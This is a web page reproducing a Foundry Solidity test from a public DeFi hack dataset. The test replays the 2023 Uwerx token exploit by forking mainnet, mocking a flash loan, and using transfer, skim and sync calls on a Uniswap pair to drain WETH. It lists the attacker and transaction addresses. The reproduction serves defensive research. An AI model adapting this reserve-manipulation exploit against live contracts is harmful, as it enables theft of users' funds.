Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/Uwerx_exp.sol

Public reproduction file for dataset entry Uwerx.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/Uwerx_exp.sol71 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~176 ETH
8// Attacker : https://etherscan.io/address/0x6057a831d43c395198a10cf2d7d6d6a063b1fce4
9// Attack Contract : https://etherscan.io/address/0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca
10// Vulnerable Contract : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54
11// Attack Tx : https://etherscan.io/tx/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8
12// Detail : https://explorer.phalcon.xyz/tx/eth/0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/token/0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54
17// @Analysis
18// Twitter Guy : https://twitter.com/deeberiroz/status/1686683788795846657
20contract ContractTest is Test {
21 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
22 IERC20 WERX = IERC20(0x4306B12F8e824cE1fa9604BbD88f2AD4f0FE3c54);
23 Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
24 Uni_Pair_V2 pair = Uni_Pair_V2(0xa41529982BcCCDfA1105C6f08024DF787CA758C4);
26 function setUp() public {
27 vm.createSelectFork("mainnet", 17_826_202);
28 vm.label(address(WETH), "WETH");
29 vm.label(address(WERX), "WERX");
30 vm.label(address(Router), "Router");
31 vm.label(address(pair), "pair");
32 }
34 function testExploit() external {
35 // mock a flash loan for simplicity
36 deal(address(WETH), address(this), 20_000 ether);
37 WETH.approve(address(Router), type(uint256).max);
38 WERX.approve(address(Router), type(uint256).max);
40 pair.sync();
42 address[] memory path = new address[](2);
43 path[0] = address(WETH);
44 path[1] = address(WERX);
46 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
47 20_000 ether, 0, path, address(this), block.timestamp
48 );
50 WERX.transfer(address(pair), 4_429_817_738_575_912_760_684_500);
52 pair.skim(address(0x01));
53 pair.sync();
55 path[0] = address(WERX);
56 path[1] = address(WETH);
57 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
58 WERX.balanceOf(address(this)), 0, path, address(this), block.timestamp
59 );
61 emit log_named_decimal_uint(
62 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
63 );
65 emit log_named_decimal_uint(
66 "Attacker WETH balance after exploit, ETH PROFIT",
67 WETH.balanceOf(address(this)) - 20_000 ether,
68 WETH.decimals()
69 );
70 }

Analysis

Dataset entry

Public Foundry test for “Uwerx” (2023-08-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6057a831d43c395198a10cf2d7d6d6a063b1fce4

  • Attack Contract

    0xda2ccfc4557ba55eada3cbebd0aeffcf97fc14ca

  • Vulnerable Contract

    0x4306b12f8e824ce1fa9604bbd88f2ad4f0fe3c54

  • Attack Tx

    0x3b19e152943f31fe0830b67315ddc89be9a066dc89174256e17bc8c2d35b5af8

File record

Name
Uwerx
Path
src/test/2023-08/Uwerx_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f8fd8d82db3bdee5e576bd2b909964e025877eed
Language
Solidity
Size
72 lines
Date
2023-08-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/Uwerx_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f8fd8d82db3bdee5e576bd2b909964e025877eed, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.